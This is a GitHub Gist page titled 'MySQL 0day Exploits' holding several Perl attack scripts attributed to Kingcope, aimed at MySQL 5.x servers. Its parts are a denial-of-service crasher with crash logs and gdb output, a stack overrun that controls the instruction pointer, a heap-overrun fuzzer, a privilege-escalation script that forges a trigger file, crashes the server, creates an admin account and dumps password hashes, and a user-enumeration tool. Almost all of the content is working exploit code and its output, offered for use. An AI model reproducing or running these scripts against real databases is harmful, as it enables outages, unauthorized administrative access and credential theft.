Created
December 3, 2012 16:23
-
-
Save evandrix/4196054 to your computer and use it in GitHub Desktop.
MySQL 0day Exploits
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
5.5.19-log on SuSE Linux | |
DoS exploit: | |
-------------------------------------------------------------------------------------------------------- | |
use Net::MySQL; | |
use Unicode::UTF8 qw[decode_utf8 encode_utf8]; | |
$|=1; | |
my $mysql = Net::MySQL->new( | |
hostname => '192.168.1.250', # Default use UNIX socket | |
database => 'test', | |
user => "root", | |
password => "", | |
debug => 1, | |
); | |
$mysql->_execute_command("\x12", "\x00\x00\x00\x00 foo"); | |
exit; | |
for ($k=0;$k<50000;$k++) { | |
$a .="<A$k>"; | |
} | |
for ($k=0;$k<50000;$k++) { | |
$a .="</A$k>"; | |
} | |
# SELECT example | |
$mysql->query("SELECT UpdateXML('<a>$a<b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1"); | |
my $record_set = $mysql->create_record_iterator; | |
while (my $record = $record_set->each) { | |
printf "First column: %s Next column: %s\n", | |
$record->[0], $record->[1]; | |
} | |
$mysql->close; | |
Crash Log: | |
-------------------------------------------------------------------------------------------------------- | |
started: | |
/usr/local/mysql/bin/mysqld --log=/tmp/mysql55.log --user=mysql --log-bin=/tmp/logbin2 & | |
120108 12:55:28 - mysqld got signal 11 ; | |
This could be because you hit a bug. It is also possible that this binary | |
or one of the libraries it was linked against is corrupt, improperly built, | |
or misconfigured. This error can also be caused by malfunctioning hardware. | |
We will try our best to scrape up some info that will hopefully help diagnose | |
the problem, but since we have already crashed, something is definitely wrong | |
and this may fail. | |
key_buffer_size=16777216 | |
read_buffer_size=262144 | |
max_used_connections=1 | |
max_threads=151 | |
thread_count=1 | |
connection_count=1 | |
It is possible that mysqld could use up to | |
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 133453 K | |
bytes of memory | |
Hope that's ok; if not, decrease some variables in the equation. | |
Thread pointer: 0x8e6fa48 | |
Attempting backtrace. You can use the following information to find out | |
where mysqld died. If you see no messages after this, something went | |
terribly wrong... | |
stack_bottom = 0xa868b35c thread_stack 0x30000 | |
/usr/local/mysql/bin/mysqld(my_print_stacktrace+0x33)[0x83b0f63] | |
/usr/local/mysql/bin/mysqld(handle_segfault+0x4bc)[0x813c59c] | |
[0xffffe400] | |
/usr/local/mysql/bin/mysqld(_Z16dispatch_command19enum_server_commandP3THDPcj+0x11b4)[0x81b09e4] | |
/usr/local/mysql/bin/mysqld(_Z10do_commandP3THD+0xbc)[0x81b13ac] | |
/usr/local/mysql/bin/mysqld(_Z24do_handle_one_connectionP3THD+0x183)[0x823eb63] | |
/usr/local/mysql/bin/mysqld(handle_one_connection+0x3c)[0x823ebbc] | |
/lib/libpthread.so.0(+0x5b05)[0xb771cb05] | |
/lib/libc.so.6(clone+0x5e)[0xb74e7d5e] | |
Trying to get some variables. | |
Some pointers may be invalid and cause the dump to abort. | |
Query ((nil)): is an invalid pointer | |
Connection ID (thread ID): 12 | |
Status: NOT_KILLED | |
The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains | |
information that should help you find out what is causing the crash. | |
Version: '5.5.19-log' socket: '/var/run/mysql/mysql.sock' port: 3306 Source distribution | |
[New Thread 0xa8f1db70 (LWP 7907)] | |
120108 13:01:51 [Warning] IP address '192.168.2.150' could not be resolved: Name or service not known | |
120108 13:01:51 [Note] Start binlog_dump to slave_server(65), pos(, 4294967295) | |
Program received signal SIGSEGV, Segmentation fault. | |
[Switching to Thread 0xa8f1db70 (LWP 7907)] | |
mysql_binlog_send (thd=0x8e6fb28, log_ident=0x8eb57a8 "", pos=<value optimized out>, flags=65535) at /root/mysql-5.5.19/sql/sql_repl.cc:1043 | |
1043 log_file_name, (llstr(my_b_tell(&log), llbuff2), llbuff2)); | |
(gdb) x/10i $eip | |
=> 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370>: mov 0x8(%ecx),%edx | |
0x81bf54d <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1373>: mov 0x4(%ecx),%eax | |
0x81bf550 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1376>: mov %edx,0x4(%esp) | |
0x81bf554 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1380>: mov %eax,(%esp) | |
0x81bf557 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1383>: call 0x8541560 <llstr> | |
0x81bf55c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1388>: mov -0x9b0(%ebp),%edx | |
0x81bf562 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1394>: lea -0x590(%ebp),%eax | |
0x81bf568 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1400>: mov %edi,0x1c(%esp) | |
0x81bf56c <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1404>: lea -0x990(%ebp),%edi | |
0x81bf572 <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1410>: mov %eax,0x18(%esp) | |
(gdb) i r | |
eax 0xa8f1c804 -1460549628 | |
ecx 0x0 0 | |
edx 0xa8f1c805 -1460549627 | |
ebx 0x8e821e0 149430752 | |
esp 0xa8f1be50 0xa8f1be50 | |
ebp 0xa8f1c868 0xa8f1c868 | |
esi 0xa8f1c81a -1460549606 | |
edi 0xa8f1c804 -1460549628 | |
eip 0x81bf54a 0x81bf54a <mysql_binlog_send(THD*, char*, my_off_t, ushort)+1370> | |
eflags 0x210282 [ SF IF RF ID ] | |
cs 0x73 115 | |
ss 0x7b 123 | |
ds 0x7b 123 | |
es 0x7b 123 | |
fs 0x0 0 | |
gs 0x33 51 | |
unprivileged user (REPLICATION_SLAVE privs needed to trigger the bug): | |
-------------------------------------------------------------------------------------------------------- | |
C:\Users\kingcope\Desktop>perl mysql.pl | |
Use INET Socket: 192.168.2.3 3306/tcp | |
Net::MySQL::_get_server_information(): | |
4E 00 00 00 0A 35 2E 35 2E 31 39 2D 6C 6F 67 00 N....5.5.19-log. | |
01 00 00 00 59 4C 50 2C 29 28 2E 4F 00 FF F7 08 ....YLP,)(.O.... | |
02 00 0F 80 15 00 00 00 00 00 00 00 00 00 00 22 ................ | |
59 7C 24 3A 36 40 21 22 26 38 29 00 6D 79 73 71 Y...6....8).mysq | |
6C 5F 6E 61 74 69 76 65 5F 70 61 73 73 77 6F 72 l_native_passwor | |
64 00 d. | |
Protocol Version: 10 | |
Server Version: 5.5.19-log | |
Salt: YLP,)(.O"Y|$:6 () !"&8) | |
Net::MySQL::_send_login_message(): | |
41 00 00 01 0D A6 03 00 00 00 00 01 21 00 00 00 A............... | |
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ | |
00 00 00 00 6D 6F 6E 74 79 32 00 14 21 2F FB 64 ....monty2.....d | |
27 B4 FE 26 89 F7 D6 E7 2A A1 C9 00 A9 CF 4E 51 '.......*.....NQ | |
74 65 73 74 00 test. | |
Net::MySQL::_request_authentication(): | |
07 00 00 02 00 00 00 02 00 00 00 ........... | |
connect database | |
Net::MySQL::_execute_command(): | |
0A 00 00 00 12 00 00 00 00 00 00 FF 00 00 .............. | |
Net::MySQL::_execute_command(): | |
68 00 00 01 FF CB 04 23 34 32 30 30 30 41 63 63 h.......42000Acc | |
65 73 73 20 64 65 6E 69 65 64 3B 20 79 6F 75 20 ess.denied;.you. | |
6E 65 65 64 20 28 61 74 20 6C 65 61 73 74 20 6F need.(at.least.o | |
6E 65 20 6F 66 29 20 74 68 65 20 52 45 50 4C 49 ne.of).the.REPLI | |
43 41 54 49 4F 4E 20 53 4C 41 56 45 20 70 72 69 CATION.SLAVE.pri | |
76 69 6C 65 67 65 28 73 29 20 66 6F 72 20 74 68 vilege(s).for.th | |
69 73 20 6F 70 65 72 61 74 69 6F 6E is.operation |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
=for comment | |
MySQL Server exploitable stack based overrun | |
Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too) | |
unprivileged user (any account (anonymous account?), post auth) | |
as illustrated below the instruction pointer is overwritten with 0x41414141 | |
bug found by Kingcope | |
this will yield a shell as the user 'mysql' when properly exploited | |
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core | |
GNU gdb (GDB) SUSE (7.2-3.3) | |
Copyright (C) 2010 Free Software Foundation, Inc. | |
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> | |
This is free software: you are free to change and redistribute it. | |
There is NO WARRANTY, to the extent permitted by law. Type "show copying" | |
and "show warranty" for details. | |
This GDB was configured as "i586-suse-linux". | |
For bug reporting instructions, please see: | |
<http://www.gnu.org/software/gdb/bugs/>. | |
Missing separate debuginfo for the main executable file | |
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803" | |
[New Thread 8801] | |
[New Thread 8789] | |
[New Thread 8793] | |
[New Thread 8791] | |
[New Thread 8787] | |
[New Thread 8790] | |
[New Thread 8799] | |
[New Thread 8794] | |
[New Thread 8792] | |
[New Thread 8788] | |
[New Thread 8800] | |
[New Thread 8786] | |
[New Thread 8797] | |
[New Thread 8798] | |
[New Thread 8785] | |
[New Thread 8796] | |
[New Thread 8783] | |
Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'. | |
Program terminated with signal 11, Segmentation fault. | |
#0 0x41414141 in ?? () | |
(gdb) | |
=cut | |
use strict; | |
use DBI(); | |
# Connect to the database. | |
my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.1.250;", | |
"root", "", | |
{'RaiseError' => 1}); | |
$a ="A" x 100000; | |
my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';"); | |
$sth->execute(); | |
# Disconnect from the database. | |
$dbh->disconnect(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# MySQL Heap Overrun | |
# tested for the latest version of mysql server on a SuSE Linux system | |
# | |
# As seen below $edx and $edi are fully controlled, | |
# the current instruction is | |
# => 0x83a6b24 <free_root+180>: mov (%edx),%edi | |
# this means we landed in a place where 4 bytes can be controlled by 4 bytes | |
# with this function pointers and GOT entries can be rewritten to execute arbritrary code | |
# | |
# a user account (with less privileges) is needed | |
# beware: this script will change the users password to an undefined value | |
# | |
=for comment | |
Program received signal SIGSEGV, Segmentation fault. | |
[Switching to Thread 0xa86b3b70 (LWP 9219)] | |
free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369 | |
369 old=next; next= next->next; | |
(gdb) bt | |
#0 free_root (root=0x8e7c714, MyFlags=1) at /root/mysql-5.5.19/mysys/my_alloc.c:369 | |
#1 0x082a2e9f in cleanup (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/sql_class.h:1709 | |
#2 ha_rollback_trans (thd=0x8e7b9b8, all=true) at /root/mysql-5.5.19/sql/handler.cc:1401 | |
#3 0x0824a747 in trans_rollback (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/transaction.cc:260 | |
#4 0x081897a7 in THD::cleanup (this=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_class.cc:1271 | |
#5 0x08140fc3 in thd_cleanup (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2026 | |
#6 unlink_thd (thd=0x8e7b9b8) at /root/mysql-5.5.19/sql/mysqld.cc:2075 | |
#7 0x08141088 in one_thread_per_connection_end (thd=0x8e7b9b8, put_in_cache=true) at /root/mysql-5.5.19/sql/mysqld.cc:2188 | |
#8 0x0823eab3 in do_handle_one_connection (thd_arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:796 | |
#9 0x0823ebbc in handle_one_connection (arg=0x8e7b9b8) at /root/mysql-5.5.19/sql/sql_connect.cc:708 | |
#10 0xb7744b05 in start_thread () from /lib/libpthread.so.0 | |
#11 0xb750fd5e in clone () from /lib/libc.so.6 | |
(gdb) i r | |
eax 0x8ec63b8 149709752 | |
ecx 0xa86b326c -1469369748 | |
edx 0x5a5a5a5a 1515870810 | |
ebx 0x880eff4 142667764 | |
esp 0xa86b31b0 0xa86b31b0 | |
ebp 0xa86b31d8 0xa86b31d8 | |
esi 0x8e7c714 149407508 | |
edi 0x5a5a5a5a 1515870810 | |
eip 0x83a6b24 0x83a6b24 <free_root+180> | |
eflags 0x210293 [ CF AF SF IF RF ID ] | |
cs 0x73 115 | |
ss 0x7b 123 | |
ds 0x7b 123 | |
es 0x7b 123 | |
fs 0x0 0 | |
gs 0x33 51 | |
(gdb) x/10i $eip | |
=> 0x83a6b24 <free_root+180>: mov (%edx),%edi | |
0x83a6b26 <free_root+182>: je 0x83a6b33 <free_root+195> | |
0x83a6b28 <free_root+184>: mov %edx,(%esp) | |
0x83a6b2b <free_root+187>: call 0x83acb70 <my_free> | |
0x83a6b30 <free_root+192>: mov 0x8(%esi),%eax | |
0x83a6b33 <free_root+195>: test %edi,%edi | |
0x83a6b35 <free_root+197>: jne 0x83a6b20 <free_root+176> | |
0x83a6b37 <free_root+199>: test %eax,%eax | |
0x83a6b39 <free_root+201>: movl $0x0,(%esi) | |
0x83a6b3f <free_root+207>: movl $0x0,0x4(%esi) | |
(gdb) | |
=cut | |
use Net::MySQL; | |
use Encode; | |
$|=1; | |
my $mysql = Net::MySQL->new( | |
hostname => '192.168.1.250', | |
database => "test", | |
user => "root", | |
password => "", | |
debug => 0, | |
port => 3306, | |
); | |
@commands = ('USE d', 'SHOW TABLES FROM d', "DESCRIBE t", "SHOW FIELDS FROM t", "SHOW COLUMNS FROM t", "SHOW INDEX FROM t", | |
"CREATE TABLE table_name (c CHAR(1))", "DROP TABLE t", "ALTER TABLE t DROP c", | |
"DELETE FROM t WHERE 1=1", "UPDATE t SET a=a","SET PASSWORD=PASSWORD('p')"); | |
foreach my $command (@commands) { | |
for ($k=0;$k<length($command);$k++) { | |
$c = substr($command, 0, $k) . "Z" x 10000 . substr($command, $k+1); | |
$c2 = substr($command, 0, $k) . "AAAA..AA" . substr($command, $k+1); | |
print "$c2"; | |
$mysql->query($c); | |
} | |
} | |
$mysql->close; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use DBI(); | |
$|=1; | |
=for comment | |
MySQL privilege elevation Exploit | |
This exploit adds a new admin user. | |
By Kingcope | |
Tested on | |
* Debian Lenny (mysql-5.0.51a) | |
* OpenSuSE 11.4 (5.1.53-log) | |
How it works: | |
This exploit makes use of several things: | |
*The attacker is in possession of a mysql user with 'file' privileges for the target | |
*So the attacker can create files on the system with this user (owned by user 'mysql') | |
*So the attacker is able to create TRIGGER files for a mysql table | |
triggers can be used to trigger an event when a mysql command is executed by the user, | |
normally triggers are 'attached' to a user and will be executed with this users privilege. | |
because we can write any contents into the TRG file (the actual trigger file), we write the entry | |
describing the attached user for the trigger as "root@localhost" what is the default admin user. | |
* We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. | |
This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) | |
the trigger file would not be recognized. | |
So what the exploit does is: | |
* Connect to the MySQL Server | |
* Create a table named rootme for the trigger | |
* Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG | |
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun) | |
* INSERT a value into the table so the trigger event gets executed | |
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled. | |
* Crash the MySQL Server again to force it reload the user configuration | |
* Create a new mysql user with all privileges set to enabled | |
* Crash again to reload configuration | |
* Connect by using the newly created user | |
* The new connection has ADMIN access now to all databases in mysql | |
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded | |
* As said the user has FULL ACCESS to the database now | |
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen. | |
=cut | |
=for comment | |
user created for testing (file privs will minor privileges to only one database): | |
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test'; | |
Query OK, 0 rows affected (0.00 sec) | |
mysql> create database lessdb | |
-> ; | |
Query OK, 1 row affected (0.00 sec) | |
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION; | |
Query OK, 0 rows affected (0.02 sec) | |
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION; | |
Query OK, 0 rows affected (0.00 sec) | |
login with new unprivileged user: | |
mysql> select * from mysql.user; | |
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user' | |
=cut | |
=for comment | |
example attack output: | |
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl | |
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER | |
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins | |
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ | |
', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p | |
riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\ | |
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference | |
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y | |
\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\ | |
\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\ | |
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri | |
v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= | |
\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', | |
max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE | |
User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs | |
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati | |
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri | |
vilege_elevation.pl line 44. | |
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ | |
privilege_elevation.pl line 50. | |
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_ | |
privilege_elevation.pl line 59. | |
W00TW00T! | |
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | |
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | |
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B | |
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64 | |
B02C | |
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 | |
Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B | |
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 | |
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697 | |
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7 | |
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 | |
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29 | |
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC | |
=cut | |
$user = "less10"; | |
$password = "test"; | |
$database = "lessdb10"; | |
$target = "192.168.1.250"; | |
$folder = "/var/lib/mysql/"; # Linux | |
$newuser = "rootedbox2"; | |
$newuserpass = "rootedbox2"; | |
$mysql_version = "51"; # can be 51 or 50 | |
if ($mysql_version eq "50") { | |
$inject = | |
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';"; | |
} else { | |
$inject = | |
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';"; | |
} | |
print $inject;#exit; | |
$inject2 = | |
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''"; | |
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", | |
"$user", "$password", | |
{'RaiseError' => 0}); | |
eval { $dbh->do("DROP TABLE rootme") }; | |
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));"); | |
$dbh->do($inject); | |
$dbh->do($inject2); | |
$a = "A" x 10000; | |
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); | |
sleep(3); | |
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", | |
"$user", "$password", | |
{'RaiseError' => 0}); | |
$dbh->do("INSERT INTO rootme VALUES('ROOTED');"); | |
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); | |
sleep(3); | |
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;", | |
"$user", "$password", | |
{'RaiseError' => 0}); | |
$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';"); | |
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;"); | |
$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';"); | |
sleep(3); | |
my $dbh = DBI->connect("DBI:mysql:host=$target;", | |
$newuser, $newuserpass, | |
{'RaiseError' => 0}); | |
my $sth = $dbh->prepare("SELECT * FROM mysql.user"); | |
$sth->execute(); | |
print "W00TW00T!\n"; | |
while (my $ref = $sth->fetchrow_hashref()) { | |
print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n"; | |
} | |
$sth->finish(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# MySQL User Account Enumeration Utility | |
# When an attacker authenticates using an incorrect password | |
# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server | |
# the mysql server will respond with a different message than Access Denied, what makes | |
# User Account Enumeration possible. | |
# The Downside is that the attacker has to reconnect for each user enumeration attempt | |
#20000 user accounts in 7 minutes | |
#Mon Jan 16 09:00:18 UTC 2012 | |
#Mon Jan 16 09:07:26 UTC 2012 | |
#root@vs2067037:~# wc -l MEDIUM.LST | |
#21109 MEDIUM.LST | |
#A usernames.txt wordlist is included in this package | |
#examples: | |
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt | |
# | |
#[*] HIT! -- USER EXISTS: administrator@host | |
# | |
#root@vs2067037:~# perl mysqlenum.pl host usernames.txt | |
# | |
#[*] HIT! -- USER EXISTS: admin@host | |
# | |
use IO::Socket; | |
use Parallel::ForkManager; | |
$|=1; | |
if ($#ARGV != 1) { | |
print "Usage: mysqlenumerate.pl <target> <wordlist>\n"; | |
exit; | |
} | |
$target = $ARGV[0]; | |
$wordlist = $ARGV[1]; | |
$numforks = 50; | |
$pm = new Parallel::ForkManager($numforks); | |
open FILE,"<$wordlist"; | |
unlink '/tmp/cracked'; | |
@users = (); | |
$k=0; | |
while(<FILE>) { | |
chomp; | |
$_ =~ s/\r//g; | |
$users[$k++] = $_; | |
} | |
close FILE; | |
$k2 = 0; | |
for(;;) { | |
for ($k=0;$k<$numforks;$k++) { | |
$k2++; | |
if (($k2 > $#users) or (-e '/tmp/cracked')) { | |
exit; | |
} | |
my $pid = $pm->start and next; | |
$user = $users[$k2]; | |
goto further; | |
again: | |
print "Connect Error\n"; | |
further: | |
my $sock = IO::Socket::INET->new(PeerAddr => $target, | |
PeerPort => '3306', | |
Proto => 'tcp') || goto again; | |
recv($sock, $buff, 1024, 0); | |
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50". | |
"\x4e\x5f\x51\x55\x45\x4d\x45\x00"; | |
$buf = chr(length($buf)-3). $buf; | |
print $sock $buf; | |
$res = recv($sock, $buff, 1024, 0); | |
close($sock); | |
if ($k2 % 100 == 0) { | |
print $buff."\n"; | |
} | |
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;} | |
unless (-e '/tmp/cracked') { | |
open FILE, ">/tmp/cracked"; | |
close FILE; | |
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n"; | |
open FILE, ">jackpot"; | |
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n"; | |
exit; | |
} | |
} | |
$pm->wait_all_children; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment